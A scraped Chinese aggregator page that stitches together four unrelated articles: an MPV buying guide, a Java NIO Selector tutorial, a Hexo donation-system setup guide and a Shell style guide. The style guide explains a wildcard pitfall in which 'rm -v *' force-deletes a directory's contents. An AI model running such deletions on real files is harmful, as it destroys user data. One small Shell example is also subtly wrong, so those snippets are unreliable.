分類
發燒車訊

5-10萬預算還想買7座?這些車是全民認證的好!

08-9。28萬寶駿730的銷量雖然沒有宏光那麼硬氣,但是2016年全年370169輛的銷量也足以讓競爭對手汗顏了,寶駿730的車身尺寸為4685/4710*1785*1715mm,軸距為2750mm。提供5座、7座、8座版車型。雖然中控台依然是採用的硬塑料,中高配依然配備中控大屏幕,但是730的內飾設計明星要比宏光時尚很多,看起來也比較有設計感,畢竟一分價錢一分貨。

在5-10萬元這個價位,如果單論哪種車子的實用性最高,小編肯定會不假思索的推薦MpV(微面),因為這些車子價格非常實惠,質量很好,空間很大,拉人載貨都非常方便。所以小編就給大家推薦幾款2016年全年銷量比較好的MpV。

上汽通用五菱-五菱宏光

指導價:4.18-6.98萬

其實第一不用說大家就猜到是五菱宏光,中華神車五菱宏光在2016年12月份的銷量高達82543輛,2016年全年累計銷量為650018輛,這樣高調的銷量數據估計只有美國的皮卡福特F-150可以媲美了。雖然五菱宏光的發動機沒法和大排量V8的F-150相比,但是宏光價格要便宜很多啊!而且,宏光可以盡情的甩尾漂移,這點F-150不好做到吧!畢竟宏光也是征服過秋名山的选手。

宏光的不同車型的車身尺寸略有差異,但是軸距都為2720mm,座位數為5-8個不等。當然低配的宏光是不可能有中控大屏幕的,畢竟車價較低,不過,有了中控大屏,宏光的中控看起來立馬高端很多。

宏光的動力系統為1.2L 86馬力/1.5L 112馬力+5擋手動,別看宏光馬力較小,但是宏光的定位是微面,就是用來干粗活的,所以即使是滿載,只要油門轟起來,也不會感到動力不足。

上汽通用五菱-寶駿730

指導價:6.08-9.28萬

寶駿730的銷量雖然沒有宏光那麼硬氣,但是2016年全年370169輛的銷量也足以讓競爭對手汗顏了,寶駿730的車身尺寸為4685/4710*1785*1715mm,軸距為2750mm。提供5座、7座、8座版車型。

雖然中控台依然是採用的硬塑料,中高配依然配備中控大屏幕,但是730的內飾設計明星要比宏光時尚很多,看起來也比較有設計感,畢竟一分價錢一分貨。

寶駿730的動力選擇很豐富,有自吸、同時也有渦輪發動機,甚至還有AMT車型可供消費者選擇。其實小編認為如果只是偶爾拉貨,多數情況是坐人的話,那麼最好還是選擇730吧!畢竟730前置前驅結構,噪音要比宏光小很多,同時整車的質感和配置也要明顯強於宏光,多花兩萬元還是比較值得的!

長安汽車-歐尚

指導價:5.19-6.49萬

長安歐尚2016年全年的銷量為118185輛,表現還算不錯,歐尚的車身尺寸為4465*1725*1685/1700mm,軸距為2680mm。全系均為七座車型。

內飾的造型絕對對得起這個價位,全黑的中控看起來質感很不錯,甚至有種比較高檔的感覺,不過內飾的用料肯定是以硬塑料為主了,畢竟價位有限么,可以理解。

其實歐尚的性價比挺不錯的,絕對不比730的性價比低,畢竟6.49萬的歐尚就有ESp、上坡輔助、電動天窗、真皮方向盤、前/后駐車雷達、倒車視頻影像、仿皮座椅、GpS導航、中控大屏、藍牙、後座出風口等配置,關鍵是歐尚的優惠比730要大不少,如果不介意歐尚的尺寸小於730的話,那麼歐尚還是很值得入手的。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

分類
發燒車訊

小師妹學JavaIO之:用Selector來發好人卡

目錄

  • 簡介
  • Selector介紹
  • 創建Selector
  • 註冊Selector到Channel中
  • SelectionKey
  • selector 和 SelectionKey
  • 總的例子
  • 總結

簡介

NIO有三寶:Buffer,Channel,Selector少不了。本文將會介紹NIO三件套中的最後一套Selector,並在理解Selector的基礎上,協助小師妹發一張好人卡。我們開始吧。

Selector介紹

小師妹:F師兄,最近我的桃花有點旺,好幾個師兄莫名其妙的跟我打招呼,可是我一心向著工作,不想談論這些事情。畢竟先有事業才有家嘛。我又不好直接拒絕,有沒有什麼比較隱晦的方法來讓他們放棄這個想法?

更多內容請訪問www.flydean.com

這個問題,我沉思了大約0.001秒,於是給出了答案:給他們發張好人卡吧,應該就不會再來糾纏你了。

小師妹:F師兄,如果給他們發完好人卡還沒有用呢?

那就只能切斷跟他們的聯繫了,來個一刀兩斷。哈哈。

這樣吧,小師妹你最近不是在學NIO嗎?剛好我們可以用Selector來模擬一下發好人卡的過程。

假如你的志偉師兄和子丹師兄想跟你建立聯繫,每個人都想跟你建立一個溝通通道,那麼你就需要創建兩個channel。

兩個channel其實還好,如果有多個人都想同時跟你建立聯繫通道,那麼要維持這些通道就需要保持連接,從而浪費了資源。

但是建立的這些連接並不是時時刻刻都有消息在傳輸,所以其實大多數時間這些建立聯繫的通道其實是浪費的。

如果使用Selector就可以只啟用一個線程來監聽通道的消息變動,這就是Selector。

從上面的圖可以看出,Selector監聽三個不同的channel,然後交給一個processor來處理,從而節約了資源。

創建Selector

先看下selector的定義:

public abstract class Selector implements Closeable

Selector是一個abstract類,並且實現了Closeable,表示Selector是可以被關閉的。

雖然Selector是一個abstract類,但是可以通過open來簡單的創建:

Selector selector = Selector.open();

如果細看open的實現可以發現一個很有趣的現象:

public static Selector open() throws IOException {
        return SelectorProvider.provider().openSelector();
    }

open方法調用的是SelectorProvider中的openSelector方法。

再看下provider的實現:

 public SelectorProvider run() {
   if (loadProviderFromProperty())
        return provider;
    if (loadProviderAsService())
        return provider;
      provider = sun.nio.ch.DefaultSelectorProvider.create();
      return provider;
    }
 });

有三種情況可以加載一個SelectorProvider,如果系統屬性指定了java.nio.channels.spi.SelectorProvider,那麼從指定的屬性加載。

如果沒有直接指定屬性,則從ServiceLoader來加載。

最後如果都找不到的情況下,使用默認的DefaultSelectorProvider。

關於ServiceLoader的用法,我們後面會有專門的文章來講述。這裏先不做多的解釋。

註冊Selector到Channel中

ServerSocketChannel serverSocketChannel = ServerSocketChannel.open();
        serverSocketChannel.bind(new InetSocketAddress("localhost", 9527));
        serverSocketChannel.configureBlocking(false);
        serverSocketChannel.register(selector, SelectionKey.OP_ACCEPT);

如果是在服務器端,我們需要先創建一個ServerSocketChannel,綁定Server的地址和端口,然後將Blocking設置為false。因為我們使用了Selector,它實際上是一個非阻塞的IO。

注意FileChannels是不能使用Selector的,因為它是一個阻塞型IO。

小師妹:F師兄,為啥FileChannel是阻塞型的呀?做成非阻塞型的不是更快?

小師妹,我們使用FileChannel的目的是什麼?就是為了讀文件呀,讀取文件肯定是一直讀一直讀,沒有可能讀一會這個channel再讀另外一個channel吧,因為對於每個channel自己來講,在文件沒讀取完之前,都是繁忙狀態,沒有必要在channel中切換。

最後我們將創建好的Selector註冊到channel中去。

SelectionKey

SelectionKey表示的是我們希望監聽到的事件。

總的來說,有4種Event:

  • SelectionKey.OP_READ 表示服務器準備好,可以從channel中讀取數據。
  • SelectionKey.OP_WRITE 表示服務器準備好,可以向channel中寫入數據。
  • SelectionKey.OP_CONNECT 表示客戶端嘗試去連接服務端
  • SelectionKey.OP_ACCEPT 表示服務器accept一個客戶端的請求
public static final int OP_READ = 1 << 0;
public static final int OP_WRITE = 1 << 2;
public static final int OP_CONNECT = 1 << 3;
public static final int OP_ACCEPT = 1 << 4;

我們可以看到上面的4個Event是用位運算來定義的,如果將這個四個event使用或運算合併起來,就得到了SelectionKey中的interestOps。

和interestOps類似,SelectionKey還有一個readyOps。

一個表示感興趣的操作,一個表示ready的操作。

最後,SelectionKey在註冊的時候,還可以attach一個Object,比如我們可以在這個對象中保存這個channel的id:

SelectionKey key = channel.register(
  selector, SelectionKey.OP_ACCEPT, object);
key.attach(Object);
Object object = key.attachment();

object可以在register的時候傳入,也可以調用attach方法。

最後,我們可以通過key的attachment方法,獲得該對象。

selector 和 SelectionKey

我們通過selector.select()這個一個blocking操作,來獲取一個ready的channel。

然後我們通過調用selector.selectedKeys()來獲取到SelectionKey對象。

在SelectionKey對象中,我們通過判斷ready的event來處理相應的消息。

總的例子

接下來,我們把之前將的串聯起來,先建立一個小師妹的ChatServer:

public class ChatServer {

    private static String BYE_BYE="再見";

    public static void main(String[] args) throws IOException, InterruptedException {
        Selector selector = Selector.open();
        ServerSocketChannel serverSocketChannel = ServerSocketChannel.open();
        serverSocketChannel.bind(new InetSocketAddress("localhost", 9527));
        serverSocketChannel.configureBlocking(false);
        serverSocketChannel.register(selector, SelectionKey.OP_ACCEPT);
        ByteBuffer byteBuffer = ByteBuffer.allocate(512);

        while (true) {
            selector.select();
            Set<SelectionKey> selectedKeys = selector.selectedKeys();
            Iterator<SelectionKey> iter = selectedKeys.iterator();
            while (iter.hasNext()) {
                SelectionKey selectionKey = iter.next();
                if (selectionKey.isAcceptable()) {
                    register(selector, serverSocketChannel);
                }
                if (selectionKey.isReadable()) {
                    serverResonse(byteBuffer, selectionKey);
                }
                iter.remove();
            }
            Thread.sleep(1000);
        }
    }

    private static void serverResonse(ByteBuffer byteBuffer, SelectionKey selectionKey)
            throws IOException {
        SocketChannel socketChannel = (SocketChannel) selectionKey.channel();
        socketChannel.read(byteBuffer);
        byteBuffer.flip();
        byte[] bytes= new byte[byteBuffer.limit()];
        byteBuffer.get(bytes);
        log.info(new String(bytes).trim());
        if(new String(bytes).trim().equals(BYE_BYE)){
            log.info("說再見不如不見!");
            socketChannel.write(ByteBuffer.wrap("再見".getBytes()));
            socketChannel.close();
        }else {
            socketChannel.write(ByteBuffer.wrap("你是個好人".getBytes()));
        }
        byteBuffer.clear();
    }

    private static void register(Selector selector, ServerSocketChannel serverSocketChannel)
            throws IOException {
        SocketChannel socketChannel = serverSocketChannel.accept();
        socketChannel.configureBlocking(false);
        socketChannel.register(selector, SelectionKey.OP_READ);
    }
}

上面例子有兩點需要注意,我們在循環遍歷中,當selectionKey.isAcceptable時,表示服務器收到了一個新的客戶端連接,這個時候我們需要調用register方法,再註冊一個OP_READ事件到這個新的SocketChannel中,然後繼續遍歷。

第二,我們定義了一個stop word,當收到這個stop word的時候,會直接關閉這個client channel。

再看看客戶端的代碼:

public class ChatClient {

    private static SocketChannel socketChannel;
    private static ByteBuffer byteBuffer;

    public static void main(String[] args) throws IOException {

        ChatClient chatClient = new ChatClient();
        String response = chatClient.sendMessage("hello 小師妹!");
        log.info("response is {}", response);
        response = chatClient.sendMessage("能不能?");
        log.info("response is {}", response);
        chatClient.stop();

    }

    public void stop() throws IOException {
        socketChannel.close();
        byteBuffer = null;
    }

    public ChatClient() throws IOException {
        socketChannel = SocketChannel.open(new InetSocketAddress("localhost", 9527));
        byteBuffer = ByteBuffer.allocate(512);
    }

    public String sendMessage(String msg) throws IOException {
        byteBuffer = ByteBuffer.wrap(msg.getBytes());
        String response = null;
        socketChannel.write(byteBuffer);
        byteBuffer.clear();
        socketChannel.read(byteBuffer);
        byteBuffer.flip();
        byte[] bytes= new byte[byteBuffer.limit()];
        byteBuffer.get(bytes);
        response =new String(bytes).trim();
        byteBuffer.clear();
        return response;

    }
}

客戶端代碼沒什麼特別的,需要注意的是Buffer的讀取。

最後輸出結果:

server收到: INFO com.flydean.ChatServer - hello 小師妹!
client收到: INFO com.flydean.ChatClient - response is 你是個好人
server收到: INFO com.flydean.ChatServer - 能不能?
client收到: INFO com.flydean.ChatClient - response is 再見

解釋一下整個流程:志偉跟小師妹建立了一個連接,志偉向小師妹打了一個招呼,小師妹給志偉發了一張好人卡。志偉不死心,想繼續糾纏,小師妹回復再見,然後自己關閉了通道。

總結

本文介紹了Selector和channel在發好人卡的過程中的作用。

  • 區塊鏈從入門到放棄系列教程-涵蓋密碼學,超級賬本,以太坊,Libra,比特幣等持續更新
  • Spring Boot 2.X系列教程:七天從無到有掌握Spring Boot-持續更新
  • Spring 5.X系列教程:滿足你對Spring5的一切想象-持續更新
  • java程序員從小工到專家成神之路(2020版)-持續更新中,附詳細文章教程

本文作者:flydean程序那些事

本文鏈接:http://www.flydean.com/java-io-nio-selector/

本文來源:flydean的博客

歡迎關注我的公眾號:程序那些事,更多精彩等着您!

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※別再煩惱如何寫文案,掌握八大原則!

※產品缺大量曝光嗎?你需要的是一流包裝設計!

分類
發燒車訊

給你看看小白博主開發的打賞系統

本文章最初發表在XJHui’s Blog,未經允許,任何人禁止轉載!

為使您獲得最好的閱讀體驗,強烈建議您點擊 這裏 前往 XJHui’s Blog 查看!

Hexo-Donate

打賞系統;打賞並填寫問卷后信息可以自動在打賞列表中展示;

GitHub項目地址:https://github.com/xingjiahui/Hexo-Donate

寫在前面

  1. 作者是大二軟工學生,在代碼規範系統強壯性等方面肯定存在欠缺,但也在努力提升自己能力。

  2. 自己的 個人博客 搭建好后,又用之前學的Web前端知識寫了打賞頁面,思路是:

    給 IamZLT 體驗后,也是覺得體驗不太友善(從填寫問卷到看到自己的打賞信息需要等待的時間太長)

    決定改版,從05.2706.02用一周的時間從確定思路測試思路可行性,從測試版發布再到功能完善,最終有了此系統。

    新版本思路:

  3. 系統用到的數據庫PHP等方面知識我還是個小白,但能憑自己能力把它實現出來就已經很滿意了。

  4. 問題或不足歡迎開 issues 或到 XJHui’s Blog 留言。

關於系統

理論上不管什麼框架,只要有一個空白頁面就能安排上…

打賞列表demo:https://xingjiahui/donate

問卷頁面demo:https://donate.xingjiahui.top

後台管理暫時需要操作數據庫(可視化界面),如有必要可以添加後端管理頁面

已支持的功能

  1. 打賞列表可統計總打賞人數打賞金額
  2. 不同打賞方式字體显示顏色不同
  3. 填寫打賞問卷並成功上傳,可在打賞列表中显示填寫的信息
  4. 數據上傳成功后,博主會收到QQ消息提醒

待更新內容

  1. 區分已核實未核實金額
  2. 豐富QQ消息提醒內容
  3. 接入微信推送
  4. 支持自動審核

系統界面圖

  1. 打賞列表:

  2. 問卷頁面:

  3. 操作GIF實錄:

注:QQ消息提醒內容以後會豐富。

安裝系統要求

  1. 虛擬主機(有免費版本在這裏 購買 )或 雲服務器(小白建議安裝寶塔面板)
  2. 打賞列表準備一個頁面

使用該系統

教程中用到的免費虛擬主機維護結束,已開放購買。

下載並上傳

  1. 在項目頁clone or download選擇Download ZIP

  2. 在虛擬主機控制面板選擇在線文件管理器並進入www目錄下:

    解壓后如圖:

    框選出的文件/文件夾可刪除

導入數據庫

點擊donate_info.sql文件后的導入,提示輸入數據庫密碼

當你開通虛擬主機時,會看到如下頁面:

將這個密碼填入,即可導入成功(無視警告):

為了便於測試,導入的數據庫中自帶了兩條數據:

系統測試完成后請刪除!

搭建問卷網站

其實,將項目文件導入后,網站已經搭建完成:

但訪問這個頁面需要域名,依次點擊控制面板基本功能域名綁定,就能看到自己網站的域名啦:

瀏覽器訪問這個域名就能看到上面那個頁面了,但並不代表系統就弄好了!

配置虛擬主機

回到面板首頁,找到賬戶主機信息

將右下角的PHP版本更換為php73

注:如果不知道怎麼回主面板,點擊上圖左上角頭像試試!

以下操作需要在www目錄下完成!

  1. 配置getJsonData.php

    點擊編輯

    找到下圖框選出的位置:

    還記得賬戶主機信息么,將對應的信息替換。

  2. 配置regist.php

    點擊編輯,找到下圖框選出的位置:

    下圖位置也要修改:

  3. 測試數據庫是否配置成功

    訪問上面那個域名,填寫上信息:

    上傳,判斷是否配置成功:

    ​ 注意:只要是提示錯誤/警告一定是操作問題,認真檢查。

  4. 檢查數據導出是否正常:

    瀏覽器訪問:域名/getJsonData.php

    查看能否導出數據庫內容:

目前為止,打賞頁面數據庫已經配置好了,最後就是在前端把數據庫中的數據展現出來。

編輯前端頁面

  1. forkgithub項目:

  2. 編輯pageJs.js文件

    點擊下圖位置可以在線修改文件:

    修改內容為:

  3. 編輯下面的代碼並粘貼到前面準備的空白頁面:

    Hexo框架下無論post(博客)還是page(頁面)都是markdown格式,但markdown兼容html提供了很大的便利性。

    修改下圖位置代碼:

    粘貼到空白頁面(markdown/html均可):

    <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/sviptzk/HexoStaticFile@master/Hexo/css/custom.min.css">
    <p>截至 <span class="inline-tag red">nowDate</span>,共收到來自 <span class="inline-tag red">personNum</span>位小夥伴的打賞,金額為
        <span class="inline-tag red">sumDonate</span> 元!</p>
    <table>
        <thead>
        <tr>
            <th align="center">用戶名</th>
            <th align="center">打賞方式</th>
            <th align="center">打賞金額</th>
            <th align="center">賞金去向</th>
        </tr>
        </thead>
    </table>
    <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/jquery@latest/dist/jquery.min.js"></script>
    <script type="text/javascript" src="https://cdn.jsdelivr.net/gh/改成你的github用戶名/Hexo-donate@latest/pageJs.js"></script>
    

    注意:上面引用css不符合規範,但暫時沒有找到替代的方法。

  4. 檢查前端頁面是否能夠正常显示數據:

提醒功能

  1. 到 Qmsg醬 這裏登陸並選擇一個Qmsg醬小姐姐

  2. 添加一個QQ號,然後添加1中的選擇的小姐姐為好友:

    注意:登陸賬號(如果QQ登陸)添加的賬號都要添加“她”為好友。

  3. 點擊文檔,用接口地址替換下面代碼中的接口地址

    echo '<script>function Qmsg(){var xhr=new XMLHttpRequest();url="接口地址?msg=收到新的打賞啦!";url=encodeURI(url);xhr.open("GET",url,true);xhr.send()}Qmsg();</script>';
    
  4. www目錄下編輯regist.php文件,將上面的代碼粘貼在下圖位置:

後期使用

  1. 填寫打賞問卷后,點擊返回打賞列表會跳轉到作者的打賞列表:

    想修改為自己的,可以修改虛擬主機www目錄下的index.html文件:

  2. 後期維護:

    當有人打賞后,根據填寫的打賞方式去賬戶看有沒有到賬。

    • 收到打賞:將數據庫中donate_confirm字段修改為YES

    • 未收到打賞:在數據庫中將該記錄刪除

至此,Hexo-Donate打賞系統全部安裝完成!

感謝

愛網雲、JsDelivr、Qmsg醬、亂世中的單純

FLORIN POP、濤歌依舊、Yiven、程序小能手

怪我咯、SweetAlert2、BigShow、百度經驗

不足之處,歡迎留言,會及時回復,及時更正!

創作不易,感謝支持!

本文由博客群發一文多發等運營工具平台 OpenWrite 發布

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※產品缺大量曝光嗎?你需要的是一流包裝設計!

分類
發燒車訊

Shell語法規範

  • ver:1.0
  • 博客:https://www.cnblogs.com/Rohn
  • 本文介紹了Shell編程的一些語法規範,主要參考依據為谷歌的Shell語法風格。

目錄

  • 背景
    • 使用哪一種Shell
    • 什麼時候使用Shell
  • 註釋
    • 頂層註釋
    • 功能註釋
    • TODO註釋
  • 格式
    • 縮進
    • 行的長度和長字符串
    • 管道
    • 循環
      • if-else語句
      • for-do和while-do語句
    • case語句
    • 變量擴展
  • 特性
    • 命令替換
    • 文件名的通配符擴展
  • 命名約定
    • 函數名
    • 變量名
    • 常量和環境變量名
    • 源文件名
    • 只讀變量
    • 使用本地變量
  • 調用命令
    • 檢查返回值

背景

博客:https://www.cnblogs.com/Rohn

使用哪一種Shell

可執行文件必須以 #!/bin/bash 和最小數量的標誌開始。請使用 set 來設置shell的選項,使得用 <script_name>調用你的腳本時不會破壞其功能。

推薦使用:

#!/usr/bin/env bash

env一般固定在/usr/bin目錄下,而其餘解釋器的安裝位置就相對不那麼固定。

限制所有的可執行Shell腳本為bash使得我們安裝在所有計算機中的shell語言保持一致性。

無論你是為什麼而編碼,對此唯一例外的是當你被迫時可以不這麼做的。其中一個例子是Solaris SVR4包,編寫任何腳本都需要用純Bourne shell

[root@test ~]# echo $SHELL
/bin/bash

什麼時候使用Shell

使用Shell需要遵守的一些準則:

  • 如果你主要是在調用其他的工具並且做一些相對很小數據量的操作,那麼使用Shell來完成任務是一種可接受的選擇。
  • 如果你在乎性能,那麼請選擇其他工具,而不是使用Shell。
  • 如果你發現你需要使用數據而不是變量賦值(如 ${PHPESTATUS} ),那麼你應該使用Python腳本。
  • 如果你將要編寫的腳本會超過100行,那麼你可能應該使用Python來編寫,而不是Shell。

請記住,當腳本行數增加,儘早使用另外一種語言重寫你的腳本,以避免之後花更多的時間來重寫。

註釋

博客:https://www.cnblogs.com/Rohn

Bash只支持單行註釋,使用#開頭的都被當作註釋語句。

頂層註釋

每個文件必須包含一個頂層註釋,對其內容進行簡要概述。版權聲明和作者信息是可選的。
例如:

#!/usr/bin/env bash
# Author: Rohn
# Version: 1.0
# Created Time: 2020/06/06
# Perform hot backups of MySQL databases.
  • 第1行,指明解釋器,使用bash

#!叫做”Shebang”或者”Sha-bang”(Unix術語中,#號通常稱為sharp,hash或mesh;而!則常常稱為bang),指明了執行這個腳本文件的解釋程序。當然,如果使用bash test.sh這樣的命令來執行腳本,那麼#!這一行將會被忽略掉。

  • 第2-5行,分別為作者、版本號、創建時間、功能說明。

功能註釋

任何不是既明顯又短的函數都必須被註釋。任何庫函數無論其長短和複雜性都必須被註釋。

其他人通過閱讀註釋(和幫助信息,如果有的話)就能夠學會如何使用你的程序或庫函數,而不需要閱讀代碼。

所有的函數註釋應該包含:

  • 函數的描述
  • 全局變量的使用和修改
  • 使用的參數說明
  • 返回值,而不是上一條命令運行后默認的退出狀態

例如:

#!/usr/bin/env bash
# Author: Rohn
# Version: 1.0
# Created Time: 2020/06/06
# Perform hot backups of Oracle databases.

export PATH='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin'

#######################################
# Cleanup files from the backup dir
# Globals:
#   BACKUP_DIR
#   ORACLE_SID
# Arguments:
#   None
# Returns:
#   None
#######################################
cleanup() {
  ...
}

TODO註釋

TODOs應該包含全部大寫的字符串TODO,接着是括號中你的用戶名。冒號是可選的。最好在TODO條目之後加上bug或者ticket的序號。

例如:

# TODO(mrmonkey): Handle the unlikely edge cases (bug ####)

格式

博客:https://www.cnblogs.com/Rohn

縮進

縮進兩個空格,沒有製表符。例如:

if [ a > 1 ];then
  echo '${a} > 1'
fi

行的長度和長字符串

行的最大長度為80個字符。例如:

# DO use 'here document's
cat <<END;
I am an exceptionally long
string.
END

# Embedded newlines are ok too
long_string="I am an exceptionally
  long string."

管道

如果一行容不下整個管道操作,那麼請將整個管道操作分割成每行一個管段。

應該將整個管道操作分割成每行一個管段,管道操作的下一部分應該將管道符放在新行並且縮進2個空格。這適用於使用管道符|的合併命令鏈以及使用||&&的邏輯運算鏈。

例如:

# All fits on one line
command1 | command2

# Long commands
command1 \
  | command2 \
  | command3 \
  | command4

循環

if-else語句

if; then放在同一行,;后空一格,else單獨一行,fi單獨一行,並與if垂直對齊。即:

if condition; then
  statement(s)
else
  statement(s)
fi

for-do和while-do語句

while/for; do放在同一行,donewhile/for垂直對齊,即:

# while structure
while condition; do
  statement(s)
done

# for structure
for condition; do
  statement(s)
done

例如:

for dir in ${dirs_to_cleanup}; do
  if [[ -d "${dir}/${ORACLE_SID}" ]]; then
    log_date "Cleaning up old files in ${dir}/${ORACLE_SID}"
    rm "${dir}/${ORACLE_SID}/"*
    if [[ "$?" -ne 0 ]]; then
      error_message
    fi
  else
    mkdir -p "${dir}/${ORACLE_SID}"
    if [[ "$?" -ne 0 ]]; then
      error_message
    fi
  fi
done

case語句

  • 通過2個空格縮進可選項。
  • 在同一行可選項的模式右圓括號之後和結束符 ;;之前各需要一個空格。
  • 長可選項或者多命令可選項應該被拆分成多行,模式、操作和結束符;;在不同的行。

匹配表達式比caseesac 縮進一級。多行操作要再縮進一級。一般情況下,不需要引用匹配表達式。模式表達式前面不應該出現左括號。避免使用;&;;&符號。即:

# case structure
case in expression in
  pattern1)
    statement1
    ;;
  pattern2)
    statement2
    ;;
  ...
  *)
    statementn
    ;;
esac

例如:

case "${expression}" in
  a)
    variable="..."
    some_command "${variable}" "${other_expr}" ...
    ;;
  absolute)
    actions="relative"
    another_command "${actions}" "${other_expr}" ...
    ;;
  *)
    error "Unexpected expression '${expression}'"
    ;;
esac

只要整個表達式可讀,簡單的命令可以跟模式和;; 寫在同一行。這通常適用於單字母選項的處理。當單行容不下操作時,請將模式單獨放一行,然後是操作,最後結束符;; 也單獨一行。當操作在同一行時,模式的右括號之後和結束符;;之前請使用一個空格分隔。

verbose='false'
aflag=''
bflag=''
files=''
while getopts 'abf:v' flag; do
  case "${flag}" in
    a) aflag='true' ;;
    b) bflag='true' ;;
    f) files="${OPTARG}" ;;
    v) verbose='true' ;;
    *) error "Unexpected option ${flag}" ;;
  esac
done

變量擴展

按優先級順序:保持跟你所發現的一致;引用你的變量;推薦用${var}而不是$var

例如

# Section of recommended cases.

# Preferred style for 'special' variables:
echo "Positional: $1" "$5" "$3"
echo "Specials: !=$!, -=$-, _=$_. ?=$?, #=$# *=$* @=$@ \$=$$ ..."

# Braces necessary:
echo "many parameters: ${10}"

# Braces avoiding confusion:
# Output is "a0b0c0"
set -- a b c
echo "${1}0${2}0${3}0"

# Preferred style for other variables:
echo "PATH=${PATH}, PWD=${PWD}, mine=${some_var}"
while read f; do
  echo "file=${f}"
done < <(ls -l /tmp)

# Section of discouraged cases

# Unquoted vars, unbraced vars, brace-quoted single letter
# shell specials.
echo a=$avar "b=$bvar" "PID=${$}" "${1}"

# Confusing use: this is expanded as "${1}0${2}0${3}0",
# not "${10}${20}${30}
set -- a b c
echo "$10$20$30"

特性

博客:https://www.cnblogs.com/Rohn

命令替換

使用 $(command)而不是反引號。

嵌套的反引號要求用反斜杠轉義內部的反引號。而$(command) 形式嵌套時不需要改變,而且更易於閱讀。

例如:

# This is preferred:
var="$(command "$(command1)")"

# This is not:
var="`command \`command1\``"

文件名的通配符擴展

當進行文件名的通配符擴展時,請使用明確的路徑。

因為文件名可能以-開頭,所以使用擴展通配符./**來得安全得多。

# Here's the contents of the directory:
# -f  -r  somedir  somefile

# This deletes almost everything in the directory by force
psa@bilby$ rm -v *
removed directory: `somedir'
removed `somefile'

# As opposed to:
psa@bilby$ rm -v ./*
removed `./-f'
removed `./-r'
rm: cannot remove `./somedir': Is a directory
removed `./somefile'

命名約定

博客:https://www.cnblogs.com/Rohn

函數名

使用小寫字母,並用下劃線分隔單詞。使用雙冒號 :: 分隔庫。函數名之後必須有圓括號。關鍵詞 function 是可選的,但必須在一個項目中保持一致。

如果你正在寫單個函數,請用小寫字母來命名,並用下劃線分隔單詞。如果你正在寫一個包,使用雙冒號 :: 來分隔包名。大括號必須和函數名位於同一行(就像在Google的其他語言一樣),並且函數名和圓括號之間沒有空格。

# Single function
my_func() {
  ...
}

# Part of a package
mypackage::my_func() {
  ...
}

當函數名后存在 () 時,關鍵詞 function 是多餘的。但是其促進了函數的快速辨識。

變量名

使用小寫字母,循環的變量名應該和循環的任何變量同樣命名。例如:

for zone in ${zones}; do
  something_with "${zone}"
done

常量和環境變量名

全部使用大寫字母,用下劃線分隔,聲明在文件的頂部。例如:

# Constant
readonly PATH_TO_FILES='/some/path'

# Both constant and environment
declare -xr ORACLE_SID='PROD'

源文件名

使用小寫字母,如果需要的話使用下劃線分隔單詞。例如: maketemplate 或者 make_template ,而不是 make-template

只讀變量

使用小寫字母,使用 readonly 或者 declare -r 來確保變量只讀。

因為全局變量在Shell中廣泛使用,所以在使用它們的過程中捕獲錯誤是很重要的。當你聲明了一個變量,希望其只讀,那麼請明確指出。

zip_version="$(dpkg --status zip | grep Version: | cut -d ' ' -f 2)"
if [[ -z "${zip_version}" ]]; then
  error_message
else
  readonly zip_version
fi

使用本地變量

使用小寫字母,使用 local 聲明特定功能的變量。聲明和賦值應該在不同行。

使用 local 來聲明局部變量以確保其只在函數內部和子函數中可見。這避免了污染全局命名空間和不經意間設置可能具有函數之外重要性的變量。

當賦值的值由命令替換提供時,聲明和賦值必須分開。因為內建的 local 不會從命令替換中傳遞退出碼。

my_func2() {
  local name="$1"

  # Separate lines for declaration and assignment:
  local my_var
  my_var="$(my_func)" || return

  # DO NOT do this: $? contains the exit code of 'local', not my_func
  local my_var="$(my_func)"
  [[ $? -eq 0 ]] || return

  ...
}

調用命令

博客:https://www.cnblogs.com/Rohn

檢查返回值

對於非管道命令,使用$?或直接通過一個if語句來檢查以保持其簡潔。例如:

if ! mv "${file_list}" "${dest_dir}/" ; then
  echo "Unable to move ${file_list} to ${dest_dir}" >&2
  exit "${E_BAD_MOVE}"
fi

# Or
mv "${file_list}" "${dest_dir}/"
if [[ "$?" -ne 0 ]]; then
  echo "Unable to move ${file_list} to ${dest_dir}" >&2
  exit "${E_BAD_MOVE}"
fi

Bash也有 PIPESTATUS 變量,允許檢查從管道所有部分返回的代碼。如果僅僅需要檢查整個管道是成功還是失敗,以下的方法是可以接受的:

tar -cf - ./* | ( cd "${dir}" && tar -xf - )
if [[ "${PIPESTATUS[0]}" -ne 0 || "${PIPESTATUS[1]}" -ne 0 ]]; then
  echo "Unable to tar files to ${dir}" >&2
fi

可是,只要你運行任何其他命令, PIPESTATUS 將會被覆蓋。如果你需要基於管道中發生的錯誤執行不同的操作,那麼你需要在運行命令后立即將 PIPESTATUS 賦值給另一個變量(別忘了 [ 是一個會將 PIPESTATUS 擦除的命令)。

tar -cf - ./* | ( cd "${DIR}" && tar -xf - )
return_codes=(${PIPESTATUS[*]})
if [[ "${return_codes[0]}" -ne 0 ]]; then
  do_something
fi
if [[ "${return_codes[1]}" -ne 0 ]]; then
  do_something_else
fi

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※別再煩惱如何寫文案,掌握八大原則!

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

